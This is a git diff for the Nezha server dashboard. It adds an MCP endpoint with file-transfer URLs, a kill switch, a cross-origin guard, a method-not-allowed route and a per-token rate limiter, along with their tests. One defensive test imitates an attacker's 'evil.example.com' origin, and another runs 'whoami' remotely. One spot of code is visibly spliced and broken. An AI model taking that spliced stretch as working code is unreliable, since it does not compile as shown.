+// 大文件能跨越旧 4MiB gRPC 上限，并且字节序保持不变。 +func TestE2E_DownloadUploadURL_100MiB(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + dir := t.TempDir() + src := filepath.Join(dir, "src.bin") + + want := make([]byte, model.MCPFsTransferMaxSize) + for i := range want { + want[i] = byte(i % 251) + } + require.NoError(t, os.WriteFile(src, want, 0o644)) + + env := e2eCall(t, ts, tok, "tools/call", "fs.download_url", map[string]any{ + "server_id": 7, "path": src, "ttl_seconds": 60, + }) + res := env["result"].(map[string]any) + require.False(t, res["isError"] == true, "download_url failed: %v", res) + url := res["structuredContent"].(map[string]any)["url"].(string) + url = ts.URL + url[strings.Index(url, "/mcp/"):] + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, 200, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + require.Equal(t, len(want), len(body), "100MiB body length mismatch") + require.True(t, bytes.Equal(want, body), "100MiB body content mismatch") + + upPath := filepath.Join(dir, "up.bin") + env = e2eCall(t, ts, tok, "tools/call", "fs.upload_url", map[string]any{ + "server_id": 7, "path": upPath, "ttl_seconds": 60, + }) + res = env["result"].(map[string]any) + require.False(t, res["isError"] == true, "upload_url failed: %v", res) + upURL := res["structuredContent"].(map[string]any)["url"].(string) + upURL = ts.URL + upURL[strings.Index(upURL, "/mcp/"):] + req, _ := http.NewRequest("POST", upURL, bytes.NewReader(want)) + req.ContentLength = int64(len(want)) + upResp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer upResp.Body.Close() + require.Equal(t, 200, upResp.StatusCode) + got, _ := os.ReadFile(upPath) + require.Equal(t, len(want), len(got)) + require.True(t, bytes.Equal(want, got)) +} + +func TestE2E_AuditRowsAreWritten(t *testing.T) { + ts, tok, cleanup := setupEndToEnd(t) + defer cleanup() + _ = e2eCall(t, ts, tok, "tools/call", "meta.whoami", map[string]any{}) + _ = e2eCall(t, ts, tok, "tools/call", "server.list", map[string]any{}) + + require.Eventually(t, func() bool { + var cnt int64 + _ = singleton.DB.Model(&model.MCPAuditLog{}).Count(&cnt).Error + return cnt >= 2 + }, 3*time.Second, 20*time.Millisecond) +} diff --git a/cmd/dashboard/controller/mcp_error_structured_test.go b/cmd/dashboard/controller/mcp_error_structured_test.go new file mode 100644 index 00000000..cb7cfd8b --- /dev/null +++ b/cmd/dashboard/controller/mcp_error_structured_test.go @@ -0,0 +1,67 @@ +package controller + +import ( + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestServerExec_ErrorResult_PreservesStructuredContent(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + srv, _ := singleton.ServerShared.Get(7) + srv.SetTaskStream(&execErrorStream{errMsg: "agent disabled command execution"}) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerExec}, nil) + + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "server.exec", + Arguments: jsonRaw(map[string]any{ + "server_id": 7, + "cmd": "whoami", + "timeout_seconds": 2, + }), + }), + }) + mcpEndpoint(c) + + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "agent disabled command execution", + "error text must carry the real cause") + var result model.ExecResult + structuredJSON, err := json.Marshal(tcr.StructuredContent) + require.NoError(t, err) + require.NoError(t, json.Unmarshal(structuredJSON, &result)) + require.Equal(t, -1, result.ExitCode) + require.Equal(t, "agent disabled command execution", result.Error) +} + +func TestScopeDenied_OmitsStructuredContent(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "server.exec", + Arguments: jsonRaw(map[string]any{"server_id": 7, "cmd": "echo"}), + }), + }) + mcpEndpoint(c) + + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) + require.Nil(t, tcr.StructuredContent) +} diff --git a/cmd/dashboard/controller/mcp_kill_switch_test.go b/cmd/dashboard/controller/mcp_kill_switch_test.go new file mode 100644 index 00000000..d286d6d0 --- /dev/null +++ b/cmd/dashboard/controller/mcp_kill_switch_test.go @@ -0,0 +1,226 @@ +package controller + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// killSwitchStream is a minimal RequestTask stream that just records sent +// tasks; it never replies. CallAgent under this stream blocks until the +// kill switch wakes it up, which is exactly the behaviour these tests +// pin down. +type killSwitchStream struct { + sent chan *pb.Task +} + +func newKillSwitchStream() *killSwitchStream { + return &killSwitchStream{sent: make(chan *pb.Task, 4)} +} + +func (s *killSwitchStream) Send(t *pb.Task) error { s.sent <- t; return nil } +func (s *killSwitchStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (s *killSwitchStream) SetHeader(metadata.MD) error { return nil } +func (s *killSwitchStream) SendHeader(metadata.MD) error { return nil } +func (s *killSwitchStream) SetTrailer(metadata.MD) {} +func (s *killSwitchStream) Context() context.Context { return context.Background() } +func (s *killSwitchStream) SendMsg(any) error { return nil } +func (s *killSwitchStream) RecvMsg(any) error { return context.Canceled } + +func TestRevalidateTransferEntry_BlocksWhenMCPDisabled(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + singleton.Conf.SetMCPEnabled(false) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + entry := &transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/file", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(5 * time.Minute), + } + + err := revalidateTransferEntry(entry) + require.Error(t, err, "revalidate must reject when EnableMCP=false") + require.Contains(t, err.Error(), "MCP is disabled", + "error message must surface kill switch reason, not look like a transient agent fault") +} + +func TestPurgeTransferEntries_DropsMintedTokens(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + for i := 0; i < 3; i++ { + _, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(5 * time.Minute), + }) + require.NoError(t, err) + } + + purged := PurgeTransferEntries() + require.GreaterOrEqual(t, purged, 3, "all minted entries must be dropped") + + count := 0 + transferEntries.Range(func(_, _ any) bool { count++; return true }) + require.Equal(t, 0, count, "transferEntries must be empty after purge") +} + +func TestRevokeStreamsForPurpose_OnlyTouchesMatchingPurpose(t *testing.T) { + h := rpc.NewNezhaHandler() + h.CreateStreamWithPurpose("legacy-1", 0, 1, rpc.PurposeLegacy) + h.CreateStreamWithPurpose("mcp-1", 0, 1, rpc.PurposeMCPTransfer) + h.CreateStreamWithPurpose("mcp-2", 0, 2, rpc.PurposeMCPTransfer) + + revoked := h.RevokeStreamsForPurpose(rpc.PurposeMCPTransfer) + require.Equal(t, 2, revoked, "kill switch must take down both MCP streams") + + _, legacyErr := h.GetStream("legacy-1") + require.NoError(t, legacyErr, + "legacy purpose streams (terminal/fm/nat) must NOT be revoked by the MCP kill switch") + _, mcp1Err := h.GetStream("mcp-1") + require.Error(t, mcp1Err, "mcp-1 must be gone after revoke") + _, mcp2Err := h.GetStream("mcp-2") + require.Error(t, mcp2Err, "mcp-2 must be gone after revoke") +} + +func TestCancelAllMCPInflight_UnblocksCallAgent(t *testing.T) { + stream := newKillSwitchStream() + original := singleton.ServerShared + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = 88 + srv.SetTaskStream(stream) + sc.InsertForTest(srv) + singleton.ServerShared = sc + t.Cleanup(func() { singleton.ServerShared = original }) + + done := make(chan error, 1) + go func() { + _, err := rpc.CallAgent(context.Background(), 88, model.TaskTypeExec, + model.ExecRequest{Cmd: "sleep"}, 30*time.Second) + done <- err + }() + + select { + case <-stream.sent: + case <-time.After(time.Second): + t.Fatalf("CallAgent never reached stream.Send within 1s") + } + + rpc.CancelAllMCPInflight() + + select { + case err := <-done: + require.ErrorIs(t, err, rpc.ErrMCPDisabled, + "CallAgent must surface ErrMCPDisabled when kill switch fires; got %v", err) + case <-time.After(2 * time.Second): + t.Fatalf("CallAgent did not return after CancelAllMCPInflight; kill switch is broken") + } +} + +func TestUpdateConfig_DisablingMCPInvokesKillSwitch(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + installTestConfig(t) + singleton.Conf.SetMCPEnabled(true) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + _, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(5 * time.Minute), + }) + require.NoError(t, err) + + originalHandler := rpc.NezhaHandlerSingleton + rpc.NezhaHandlerSingleton = rpc.NewNezhaHandler() + t.Cleanup(func() { rpc.NezhaHandlerSingleton = originalHandler }) + rpc.NezhaHandlerSingleton.CreateStreamWithPurpose("mcp-active", 0, 7, rpc.PurposeMCPTransfer) + + stream := newKillSwitchStream() + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = 7 + srv.SetTaskStream(stream) + sc.InsertForTest(srv) + originalShared := singleton.ServerShared + singleton.ServerShared = sc + t.Cleanup(func() { singleton.ServerShared = originalShared }) + + rpcDone := make(chan error, 1) + go func() { + _, err := rpc.CallAgent(context.Background(), 7, model.TaskTypeFsRead, + model.FsReadRequest{Path: "/x"}, 30*time.Second) + rpcDone <- err + }() + select { + case <-stream.sent: + case <-time.After(time.Second): + t.Fatalf("background CallAgent never reached the stream") + } + + origTemplates := singleton.FrontendTemplates + singleton.FrontendTemplates = []model.FrontendTemplate{{Path: "user-dist", IsAdmin: false}} + defer func() { singleton.FrontendTemplates = origTemplates }() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, uid, model.RoleAdmin) + c.Next() + }) + r.PATCH("/api/v1/setting", commonHandler(updateConfig)) + settingBody := map[string]any{ + "site_name": "test", + "language": "en_US", + "user_template": "user-dist", + "enable_mcp": false, + } + raw, _ := json.Marshal(settingBody) + req := httptest.NewRequest(http.MethodPatch, "/api/v1/setting", bytes.NewReader(raw)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + r.ServeHTTP(w, req) + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + require.True(t, success, "PATCH /setting must succeed: %s", errMsg) + require.False(t, singleton.Conf.EnableMCP, "config must reflect kill switch state") + + count := 0 + transferEntries.Range(func(_, _ any) bool { count++; return true }) + require.Equal(t, 0, count, "unconsumed transfer URLs must be purged") + + _, streamErr := rpc.NezhaHandlerSingleton.GetStream("mcp-active") + require.Error(t, streamErr, "active MCP IOStream must be revoked") + + select { + case err := <-rpcDone: + require.True(t, errors.Is(err, rpc.ErrMCPDisabled), + "in-flight CallAgent must wake up with ErrMCPDisabled, got %v", err) + case <-time.After(2 * time.Second): + t.Fatalf("in-flight CallAgent did not wake up after kill switch") + } +} diff --git a/cmd/dashboard/controller/mcp_method_not_allowed_test.go b/cmd/dashboard/controller/mcp_method_not_allowed_test.go new file mode 100644 index 00000000..3b0f923e --- /dev/null +++ b/cmd/dashboard/controller/mcp_method_not_allowed_test.go @@ -0,0 +1,77 @@ +package controller + +import ( + "io/fs" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// Streamable HTTP 规范（modelcontextprotocol.io /basic/transports）要求： +// 服务端如果不提供 standalone SSE，必须对 GET /mcp 返回 405 Method Not Allowed。 +// 现状是 Gin 的 NoRoute fallback 会把 GET /mcp 喂给前端 fallback（HTML/404）， +// 真实 MCP 客户端在自动探测 SSE 时会卡住或拿到无效内容。 +// +// 这条测试拼出和生产 routers() 一致的 /mcp 三件套，仅断言「非 POST 不返回 HTML」。 +type mcpFallbackDist struct{} + +func (mcpFallbackDist) Open(string) (fs.File, error) { return nil, fs.ErrNotExist } + +func setupMCPMethodRouter(t *testing.T) *gin.Engine { + t.Helper() + originalConf := singleton.Conf + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ + ConfigDashboard: model.ConfigDashboard{ + AdminTemplate: "admin-dist", + UserTemplate: "user-dist", + }, + }} + t.Cleanup(func() { singleton.Conf = originalConf }) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/mcp", mcpOriginGuard(), apiTokenAuthMiddleware(), mcpEndpoint) + r.GET("/mcp", mcpMethodNotAllowed) + r.DELETE("/mcp", mcpMethodNotAllowed) + r.GET("/mcp/download/:token", mcpOriginGuard(), transferDownloadHandler) + r.POST("/mcp/upload/:token", mcpOriginGuard(), transferUploadHandler) + r.NoRoute(fallbackToFrontend(mcpFallbackDist{})) + return r +} + +func TestMCP_GetReturnsMethodNotAllowed(t *testing.T) { + t.Chdir(t.TempDir()) + r := setupMCPMethodRouter(t) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/mcp", nil) + r.ServeHTTP(w, req) + + if w.Code != http.StatusMethodNotAllowed { + t.Fatalf("GET /mcp must return 405 per Streamable HTTP spec; got %d body=%q", + w.Code, w.Body.String()) + } + if strings.Contains(strings.ToLower(w.Body.String()), "= 0 { + if !strings.Contains(hostport[i:], "]") { + return hostport[:i] + } + } + return hostport +} + +func isLoopbackHostname(host string) bool { + host = strings.Trim(host, "[]") + if host == "" { + return false + } + if strings.EqualFold(host, "localhost") { + return true + } + if ip := net.ParseIP(host); ip != nil { + return ip.IsLoopback() + } + return false +} + +func abortOrigin(c *gin.Context) { + c.AbortWithStatusJSON(http.StatusForbidden, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorForbidden: origin not allowed", + }) +} + +func mcpMethodNotAllowed(c *gin.Context) { + c.Header("Allow", "POST") + c.JSON(http.StatusMethodNotAllowed, model.CommonResponse[any]{ + Success: false, + Error: "MCP endpoint only accepts POST (Streamable HTTP without standalone SSE / sessions)", + }) +} diff --git a/cmd/dashboard/controller/mcp_origin_test.go b/cmd/dashboard/controller/mcp_origin_test.go new file mode 100644 index 00000000..4daa086f --- /dev/null +++ b/cmd/dashboard/controller/mcp_origin_test.go @@ -0,0 +1,109 @@ +package controller + +import ( + "bytes" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupMCPOriginRouter(t *testing.T) (*httptest.Server, string, func()) { + t.Helper() + cleanup, uid := setupMCPTest(t) + _, plain := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/mcp", mcpOriginGuard(), apiTokenAuthMiddleware(), mcpEndpoint) + r.GET("/mcp/download/:token", mcpOriginGuard(), transferDownloadHandler) + r.POST("/mcp/upload/:token", mcpOriginGuard(), transferUploadHandler) + ts := httptest.NewServer(r) + return ts, plain, func() { + ts.Close() + cleanup() + } +} + +func TestMCP_DisallowsCrossOriginRequest(t *testing.T) { + ts, tok, cleanup := setupMCPOriginRouter(t) + defer cleanup() + + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader([]byte(`{"jsonrpc":"2.0","id":1,"method":"initialize"}`))) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+tok) + req.Header.Set("Origin", "http://evil.example.com") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode) +} + +func TestMCP_AllowsRequestWithoutOriginHeader(t *testing.T) { + ts, tok, cleanup := setupMCPOriginRouter(t) + defer cleanup() + + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader([]byte(`{"jsonrpc":"2.0","id":1,"method":"initialize"}`))) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+tok) + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} + +func TestMCP_AllowsSameHostOrigin(t *testing.T) { + ts, tok, cleanup := setupMCPOriginRouter(t) + defer cleanup() + + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader([]byte(`{"jsonrpc":"2.0","id":1,"method":"initialize"}`))) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+tok) + req.Header.Set("Origin", "http://"+req.Host) + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} + +// 公网部署回归：ListenHost 是 0.0.0.0/未指定时，前端会以公网 Host 同源访问。 +// 这条以前会被 dashboardListensOnLoopback 误判为 loopback 部署进而拒掉； +// 现在必须放行，否则正常生产环境的 admin frontend MCP 入口直接 403。 +func TestMCP_PublicDeployment_AllowsPublicSameOrigin(t *testing.T) { + ts, tok, cleanup := setupMCPOriginRouter(t) + defer cleanup() + + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader([]byte(`{"jsonrpc":"2.0","id":1,"method":"initialize"}`))) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+tok) + req.Host = "dashboard.example.com" + req.Header.Set("Origin", "https://dashboard.example.com") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} + +// 显式绑 loopback 时仍然要执行 DNS rebinding 防线：Host 是公网域名 → 403。 +func TestMCP_LoopbackDeployment_RejectsPublicHost(t *testing.T) { + ts, tok, cleanup := setupMCPOriginRouter(t) + defer cleanup() + prev := singleton.Conf.ListenHost + singleton.Conf.ListenHost = "127.0.0.1" + defer func() { singleton.Conf.ListenHost = prev }() + + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader([]byte(`{"jsonrpc":"2.0","id":1,"method":"initialize"}`))) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+tok) + req.Host = "dashboard.example.com" + req.Header.Set("Origin", "https://dashboard.example.com") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode) +} diff --git a/cmd/dashboard/controller/mcp_ratelimit.go b/cmd/dashboard/controller/mcp_ratelimit.go new file mode 100644 index 00000000..7a0d0a6a --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit.go @@ -0,0 +1,98 @@ +package controller + +import ( + "sync" + "time" +) + +// MCPRateLimiter 实现按 token 的双层 token bucket： +// - 秒级：默认 10 req/s，应对单个 LLM 突发 +// - 分钟级：默认 120 req/min，应对长时间刷 +// +// 实现走简单 sliding window（按桶截断的 counter），轻量、O(1)； +// 进程内即可，未持久化——重启等价于配额刷新，可接受。 +type MCPRateLimiter struct { + mu sync.Mutex + perToken map[uint64]*tokenWindow + secLimit int + minLimit int + lastPrune time.Time + clock func() time.Time +} + +type tokenWindow struct { + secBucketStart time.Time + secCount int + minBucketStart time.Time + minCount int +} + +// mcpRateLimiterPruneInterval bounds how often Allow sweeps the map. Without +// eviction the map kept one entry per token ID ever seen, so PAT churn grew +// it without bound. A token idle longer than its minute bucket carries no +// live budget, so dropping it is lossless; the interval keeps the sweep +// amortized O(1) per call instead of O(map) every call. +const mcpRateLimiterPruneInterval = time.Minute + +func newMCPRateLimiter(secLimit, minLimit int) *MCPRateLimiter { + return newMCPRateLimiterWithClock(secLimit, minLimit, time.Now) +} + +func newMCPRateLimiterWithClock(secLimit, minLimit int, clock func() time.Time) *MCPRateLimiter { + return &MCPRateLimiter{ + perToken: make(map[uint64]*tokenWindow), + secLimit: secLimit, + minLimit: minLimit, + clock: clock, + } +} + +// pruneStaleLocked drops windows whose minute bucket started more than one +// minute ago: such a token has no accumulated budget left, so removing it +// cannot change any future Allow decision. Caller must hold r.mu. +func (r *MCPRateLimiter) pruneStaleLocked(now time.Time) { + for id, w := range r.perToken { + if now.Sub(w.minBucketStart) >= time.Minute { + delete(r.perToken, id) + } + } +} + +// Allow 返回是否允许本次调用。被拒返回 false。 +// tokenID = 0 时不限流（管理路径或匿名）。 +func (r *MCPRateLimiter) Allow(tokenID uint64) bool { + if tokenID == 0 { + return true + } + r.mu.Lock() + defer r.mu.Unlock() + // Sampling while holding the state lock linearizes the clock read with the + // bucket update, so a delayed sample cannot commit after a newer rollover. + now := r.clock() + if now.Sub(r.lastPrune) >= mcpRateLimiterPruneInterval { + r.pruneStaleLocked(now) + r.lastPrune = now + } + w, ok := r.perToken[tokenID] + if !ok { + w = &tokenWindow{secBucketStart: now, minBucketStart: now} + r.perToken[tokenID] = w + } + if now.Sub(w.secBucketStart) >= time.Second { + w.secBucketStart = now + w.secCount = 0 + } + if now.Sub(w.minBucketStart) >= time.Minute { + w.minBucketStart = now + w.minCount = 0 + } + if w.secCount >= r.secLimit || w.minCount >= r.minLimit { + return false + } + w.secCount++ + w.minCount++ + return true +} + +// 全局单例，参数固定（生产可观测后再考虑配置化）。 +var mcpRateLimiterShared = newMCPRateLimiter(10, 120) diff --git a/cmd/dashboard/controller/mcp_ratelimit_agentcompat.go b/cmd/dashboard/controller/mcp_ratelimit_agentcompat.go new file mode 100644 index 00000000..51fb1024 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_agentcompat.go @@ -0,0 +1,51 @@ +//go:build agentcompat + +package controller + +import ( + "time" + + "github.com/gin-gonic/gin" +) + +type agentcompatMCPRateLimitProbeRequest struct { +} + +type agentcompatMCPRateLimitProbeResponse struct { + SecondAllowedCount int `json:"second_allowed_count"` + SecondRejectedAtCount int `json:"second_rejected_at_count"` + MinuteAllowedCount int `json:"minute_allowed_count"` + MinuteRejectedAtCount int `json:"minute_rejected_at_count"` +} + +func agentcompatMCPRateLimitProbeRoute(context *gin.Context) (agentcompatMCPRateLimitProbeResponse, error) { + var request agentcompatMCPRateLimitProbeRequest + if err := decodeAgentcompatJSON(context, &request); err != nil { + return agentcompatMCPRateLimitProbeResponse{}, err + } + return runAgentcompatMCPRateLimitProbe(request) +} + +func runAgentcompatMCPRateLimitProbe(request agentcompatMCPRateLimitProbeRequest) (agentcompatMCPRateLimitProbeResponse, error) { + response := agentcompatMCPRateLimitProbeResponse{} + secondNow := time.Unix(1_700_000_000, 0) + secondLimiter := newMCPRateLimiterWithClock(10, 120, func() time.Time { return secondNow }) + for requestNumber := 1; requestNumber <= 11; requestNumber++ { + if secondLimiter.Allow(1) { + response.SecondAllowedCount++ + } else if response.SecondRejectedAtCount == 0 { + response.SecondRejectedAtCount = requestNumber + } + } + minuteNow := time.Unix(1_700_000_000, 0) + minuteLimiter := newMCPRateLimiterWithClock(10_000, 120, func() time.Time { return minuteNow }) + for requestNumber := 1; requestNumber <= 121; requestNumber++ { + if minuteLimiter.Allow(1) { + response.MinuteAllowedCount++ + } else if response.MinuteRejectedAtCount == 0 { + response.MinuteRejectedAtCount = requestNumber + } + minuteNow = minuteNow.Add(100 * time.Millisecond) + } + return response, nil +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_agentcompat_test.go b/cmd/dashboard/controller/mcp_ratelimit_agentcompat_test.go new file mode 100644 index 00000000..cc165588 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_agentcompat_test.go @@ -0,0 +1,102 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "sync" + "testing" + + "github.com/gin-gonic/gin" +) + +func TestAgentcompatMCPRateLimitProbe_returnsTypedBoundaryCountsWithoutSharedState(t *testing.T) { + // Given + request := agentcompatMCPRateLimitProbeRequest{} + originalLimiter := mcpRateLimiterShared + + // When + response, err := runAgentcompatMCPRateLimitProbe(request) + + // Then + if err != nil { + t.Fatalf("probe returned error: %v", err) + } + if response.SecondAllowedCount != 10 || response.SecondRejectedAtCount != 11 || response.MinuteAllowedCount != 120 || response.MinuteRejectedAtCount != 121 { + t.Fatalf("probe result = %+v, want second=10/11 minute=120/121", response) + } + t.Logf("typed probe result: second=%d/%d minute=%d/%d", response.SecondAllowedCount, response.SecondRejectedAtCount, response.MinuteAllowedCount, response.MinuteRejectedAtCount) + if mcpRateLimiterShared != originalLimiter { + t.Fatal("probe mutated the shared production limiter") + } +} + +func TestAgentcompatMCPRateLimitProbe_isRepeatableAndConcurrentSafe(t *testing.T) { + // Given + request := agentcompatMCPRateLimitProbeRequest{} + results := make(chan agentcompatMCPRateLimitProbeResponse, 8) + errors := make(chan error, 8) + + // When + var waitGroup sync.WaitGroup + for probeNumber := 0; probeNumber < 8; probeNumber++ { + waitGroup.Add(1) + go func() { + defer waitGroup.Done() + response, err := runAgentcompatMCPRateLimitProbe(request) + if err != nil { + errors <- err + return + } + results <- response + }() + } + waitGroup.Wait() + close(results) + close(errors) + + // Then + for err := range errors { + t.Fatalf("concurrent probe returned error: %v", err) + } + for response := range results { + if response.SecondAllowedCount != 10 || response.SecondRejectedAtCount != 11 || response.MinuteAllowedCount != 120 || response.MinuteRejectedAtCount != 121 { + t.Fatalf("concurrent probe result = %+v, want second=10/11 minute=120/121", response) + } + } +} + +func TestAgentcompatMCPRateLimitProbe_rejectsCallerControlledParameters(t *testing.T) { + // Given + gin.SetMode(gin.TestMode) + context, _ := gin.CreateTestContext(httptest.NewRecorder()) + context.Request = httptest.NewRequest("POST", "/", bytes.NewBufferString(`{"token_id":7}`)) + context.Request.Header.Set("Content-Type", "application/json") + + // When + var request agentcompatMCPRateLimitProbeRequest + err := decodeAgentcompatJSON(context, &request) + + // Then + if err == nil { + t.Fatal("caller-controlled rate probe parameters must be rejected") + } + context.Request = httptest.NewRequest("POST", "/", bytes.NewBufferString(`{}`)) + if err := decodeAgentcompatJSON(context, &request); err != nil { + t.Fatalf("canonical empty probe request must be accepted: %v", err) + } + if _, err := json.Marshal(request); err != nil { + t.Fatalf("canonical request must remain JSON encodable: %v", err) + } +} + +func TestAgentcompatMCPRateLimitProbeRejectsTrailingJSON(t *testing.T) { + context, _ := gin.CreateTestContext(httptest.NewRecorder()) + context.Request = httptest.NewRequest("POST", "/", bytes.NewBufferString(`{}{}`)) + var request agentcompatMCPRateLimitProbeRequest + if err := decodeAgentcompatJSON(context, &request); err == nil { + t.Fatal("trailing JSON values must be rejected") + } +} diff --git a/cmd/dashboard/controller/mcp_ratelimit_boundary_test.go b/cmd/dashboard/controller/mcp_ratelimit_boundary_test.go new file mode 100644 index 00000000..d9fe5901 --- /dev/null +++ b/cmd/dashboard/controller/mcp_ratelimit_boundary_test.go @@ -0,0 +1,197 @@ +package controller + +import ( + "sync" + "sync/atomic" + "testing" + "time" +) + +type mcpRateLimitFakeClock struct { + now time.Time +} + +func (clock *mcpRateLimitFakeClock) Now() time.Time { + return clock.now +} + +func (clock *mcpRateLimitFakeClock) Advance(duration time.Duration) { + clock.now = clock.now.Add(duration) +} + +func TestMCPRateLimiter_baselinePreservesAnonymousBypassAndBucketReset(t *testing.T) { + // Given + limiter := newMCPRateLimiter(3, 3) + + // When + anonymousAllowed := limiter.Allow(0) + firstAllowed := limiter.Allow(7) + secondAllowed := limiter.Allow(7) + thirdAllowed := limiter.Allow(7) + fourthRejected := limiter.Allow(7) + // Then + if !anonymousAllowed || !firstAllowed || !secondAllowed || !thirdAllowed || fourthRejected { + t.Fatalf("baseline limiter semantics changed: anonymous=%t first=%t second=%t third=%t rejected=%t", anonymousAllowed, firstAllowed, secondAllowed, thirdAllowed, fourthRejected) + } +} + +func TestMCPRateLimiter_allowsTenAndRejectsElevenWithinOneSecond(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(10, 120, clock.Now) + + // When + allowed := 0 + for requestNumber := 1; requestNumber <= 11; requestNumber++ { + if limiter.Allow(7) { + allowed++ + } + } + + // Then + if allowed != 10 { + t.Fatalf("allowed count = %d, want 10", allowed) + } + if limiter.Allow(7) { + t.Fatal("twelfth request must remain rejected in the same second") + } +} + +func TestMCPRateLimiter_allowsOneAfterSecondBucketRollover(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(10, 120, clock.Now) + for requestNumber := 1; requestNumber <= 10; requestNumber++ { + if !limiter.Allow(7) { + t.Fatalf("request %d must be allowed before rollover", requestNumber) + } + } + + // When + clock.Advance(time.Second) + + // Then + if !limiter.Allow(7) { + t.Fatal("request after one-second bucket rollover must be allowed") + } +} + +func TestMCPRateLimiter_allows120AndRejects121WithinOneMinute(t *testing.T) { + // Given + clock := &mcpRateLimitFakeClock{now: time.Unix(1_700_000_000, 0)} + limiter := newMCPRateLimiterWithClock(10_000, 120, clock.Now) + + // When + allowed := 0 + for requestNumber := 1; requestNumber <= 121; requestNumber++ { + if limiter.Allow(7) { + allowed++ + } + clock.Advance(100 * time.Millisecond) + } + + // Then + 